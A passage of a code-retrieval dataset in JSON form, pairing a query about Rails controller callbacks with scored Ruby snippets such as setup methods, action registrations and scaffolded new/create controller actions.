end", "title": "" }, { "docid": "ce6fcccfdcfbe721ff4e6512711cf855", "score": "0.52962923", "text": "def self_receiver?; end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5292562", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5292562", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5292562", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5292562", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5292562", "text": "def visit(node); end", "title": "" }, { "docid": "b5c901bc5dbdfb538733335e1398dac1", "score": "0.5292562", "text": "def visit(node); end", "title": "" }, { "docid": "8fc5499211f20da41fa997282d02d84a", "score": "0.5291047", "text": "def visit( &block )\n \nblock.call( self );\n \nend", "title": "" }, { "docid": "054ccb92c6af305919f7f586e5bf583c", "score": "0.5266104", "text": "def signalling(event, to); super if defined? super end", "title": "" }, { "docid": "7425fa5978edbf7ac18e8bcad7f9ba9c", "score": "0.52507055", "text": "def visit_this_0(receiver, thing)\n method_name = @cache[thing.class]\n if method_name\n return receiver.send(method_name, thing)\n end\n visit_this(receiver, thing, NO_ARGS)\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "39be87ce157b7f64ab1225845ddcd3d3", "score": "0.0", "text": "def set_ticket\n @ticket = Ticket.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.603186", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6015241", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.5921496", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913448", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913448", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.5897832", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885515", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885515", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885515", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.58878756", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58769405", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5861371", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5808766", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57400525", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5731156", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57159877", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5702554", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.5693239", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.5668723", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.56508374", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5649453", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56375533", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.56254196", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5609089", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5597798", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5597231", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5588031", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.555915", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.555915", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5507016", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.55030775", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54662013", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465261", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54472864", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54438996", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5440141", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.541613", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5409782", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5409782", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5400219", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394745", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394745", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5390984", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53887665", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53780794", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5356209", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5348786", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.5346732", "text": "def setup_phase; end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.5345979", "text": "def register_action(action); end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5344045", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5340186", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.5327604", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.5304261", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.52854896", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282047", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52573466", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5257324", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5248408", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52433753", "text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52398264", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236372", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236372", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.5231744", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52285135", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.5223686", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52210605", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52209604", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5213524", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.521152", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.520754", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52046543", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.52040523", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.52036524", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5202948", "text": "def create_setup\n \n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5199691", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5194161", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5194161", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51919067", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.51790345", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.5178361", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51730466", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51730466", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51730466", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.51632947", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5153717", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.51421857", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5140802", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51395875", "text": "def setup(params)\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5138662", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51344", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51154596", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.51132", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5110998", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51075375", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51075375", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51075375", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5105207", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.51044744", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.5097499", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.5093918", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.50929475", "text": "def add_callbacks(base); end", "title": "" } ]
da3a04d890abfd72d8ca79c4206c1e59
GET /image_banks/new GET /image_banks/new.json
[ { "docid": "3bc208521dfc70a73957373b6d0a6505", "score": "0.81028", "text": "def new\n @image_bank = ImageBank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_bank }\n end\n end", "title": "" } ]
[ { "docid": "e58f53873d8d3031d853e9b6b1fc22c6", "score": "0.7475171", "text": "def create\n @image_bank = ImageBank.new(params[:image_bank])\n \n respond_to do |format|\n if @image_bank.save\n format.html { redirect_to @image_bank, notice: 'Image bank was successfully created.' }\n format.json { render json: @image_bank, status: :created, location: @image_bank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c16d19607631472d4e8efc72fb1cb4b", "score": "0.7372779", "text": "def new\n @breadcrumb = 'create'\n @bank = Bank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "090cba97307ebb80bd46a8130e9c245e", "score": "0.7365527", "text": "def new\n @bwimage = Bwimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bwimage }\n end\n end", "title": "" }, { "docid": "606475d912b484ffb1075476b34a95c5", "score": "0.7360837", "text": "def new\n @title = t('view.banks.new_title')\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "53b7340c1290c73a7d6203cc41d037c1", "score": "0.7174685", "text": "def new\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "150b9ebd07c49d628009bb47a41d0ba2", "score": "0.7012325", "text": "def create\n @title = t('view.banks.new_title')\n @bank = Bank.new(params[:bank])\n\n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: t('view.banks.correctly_created') }\n format.json { render json: @bank, status: :created, location: @bank }\n else\n format.html { render action: 'new' }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21e18b6f04c5cf0b6bddf962fda60761", "score": "0.69793254", "text": "def new\n @brain = Brain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brain }\n end\n end", "title": "" }, { "docid": "af87c883191a6916684f775e4ac6a094", "score": "0.68888605", "text": "def new\n @bgimage = Bgimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bgimage }\n end\n end", "title": "" }, { "docid": "35f4a87dfad90a6932cd1bf35f8559cb", "score": "0.68694043", "text": "def new\n @bagtype = Bagtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bagtype }\n end\n end", "title": "" }, { "docid": "90f7340f01f14e6d85137224e2fea156", "score": "0.67782325", "text": "def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brand }\n end\n end", "title": "" }, { "docid": "bdb9d6f9f1d83a43af0bbe72dacf2d0b", "score": "0.67780924", "text": "def new\n @basin = Basin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basin }\n end\n end", "title": "" }, { "docid": "5c4fa8d7577bd63298237f9261cbc593", "score": "0.67555416", "text": "def create\n @bank = Bank.new(bank_params)\n\n if @bank.save\n render :show, status: :created, location: @bank\n else\n render json: @bank.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.67429817", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.67429817", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.67429817", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.67429817", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.67429817", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.67429817", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "2433a7bcf12bc3301765aa21647972d0", "score": "0.67265713", "text": "def new\r\n @brand = Brand.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @brand }\r\n end\r\n end", "title": "" }, { "docid": "1f03152e4d6b3c527a73e9f829398795", "score": "0.67233706", "text": "def new\n @picture = @museum.pictures.new #Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "4a15938d8565cb31bf86da072975afb5", "score": "0.6705423", "text": "def new\n @picture = Picture.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "a4b3ef6de2c890c85849f3e0abeabf6a", "score": "0.6704166", "text": "def new\n @bb = Bb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bb }\n end\n end", "title": "" }, { "docid": "f607a29fca4bdaba2f3d8a9682e0bd05", "score": "0.66967726", "text": "def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end", "title": "" }, { 